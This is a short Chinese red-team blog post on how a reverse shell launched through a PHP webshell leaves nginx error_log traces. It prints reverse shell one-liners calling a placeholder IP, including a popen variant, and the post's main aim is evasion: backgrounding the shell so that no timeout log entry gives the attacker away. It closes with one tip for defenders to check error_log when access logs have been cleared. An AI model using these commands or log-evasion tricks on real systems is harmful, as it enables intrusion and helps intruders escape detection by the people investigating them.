渗透中被忽视的error_log

背景

在一次红蓝对抗中，为了尽量减少痕迹的留下，都会对一些日志进行清理，比如：删除指定IP记录。在用PHP system函数进行反弹shell时候，我发现error.log 留下的痕迹，接下来做一个踩坑记录，避免有师傅跟我遭遇一样的情况，被溯源到痕迹。

环境

nginx/1.16.1
PHP 5.4.16 (cli)

error_log 的产生

首先error_log 是默认开启的

保存路径：/var/log/nginx/error.log

nginx error_log 用于记录常规错误消息，如果在Web应用程序中遇到错误，可检查nginx errror_log 以查看

是否有关错误发生原因的信息，同时error_log 可以自定义等级

example:

error_log log_file log_level
error_log /var/log/nginx/error.log warn;

我们最常见到的error_log ，我们访问Web一个不存在的文件

error_log fastcgi

反弹shell:

/bin/bash -i >& /dev/tcp/x.x.x.x/8999 0>&1

error_log:

2020/08/26 15:11:22 [error] 20764#0: *2257 upstream timed out (110: Connection timed out) while reading response header from upstream, client: xxx.xx.x, server: _, request: "POST /t/eval.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "xxx.xxx.xx.x"

为什么在执行反弹shell的时候，发生一条error_log？

根据报错我们可以看到，Webshell 地址，报错原因来自fastcgi

我们在正常执行命令输出的过程，是只记录access.log并不会产生error_log

PHP SYSTEM 函数

没错，刚过完的七夕、没有妹妹在等你，system 在等着你返回结果~！！！！！！！！！

因为在执行反弹shell命令时，system在等待输入命令的返回结果，因为长期等待不到结果，导致误认为连接不到fastcgi报错。

也就是说当红队执行反弹shell命令时可能会留下error_log , 在实际查看error_log 中，当您执行的一些命令有误或者长时挂起，导致连接fastcgi 连接超时都会产生 error_log。

solve problem

因为反弹shell 执行命令时等待不到输出结果，导致 upstream timed out (110: Connection timed out) while reading response header from upstream加 & 符号把新起的/bin/bash 放置后台运行即可！

popen("/bin/bash -i >& /dev/tcp/ip/8999 0>&1 &","r")

结尾

红队执行命令注意留下的error_log 防止暴露自己的痕迹(不止反弹shell 会留下error_log、提权、等等操作)蓝队分析日志当发现 Web 日志被清除时，比如access.log 被清除，可考虑查看error_log (有惊喜)借用大佬的话、渗透的本质就是信息收集。